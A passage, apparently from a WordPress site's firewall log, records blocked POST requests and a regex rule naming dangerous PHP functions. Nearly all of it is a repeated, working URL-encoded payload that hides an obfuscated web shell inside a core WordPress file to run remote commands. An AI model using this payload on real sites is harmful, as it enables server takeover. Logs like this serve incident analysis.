Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\n\nQZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:59:40","162.240.52.198","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> px:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\ncontent-length:7160\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpUtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\n\npx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:59:42","195.250.29.165","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-length:7183\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524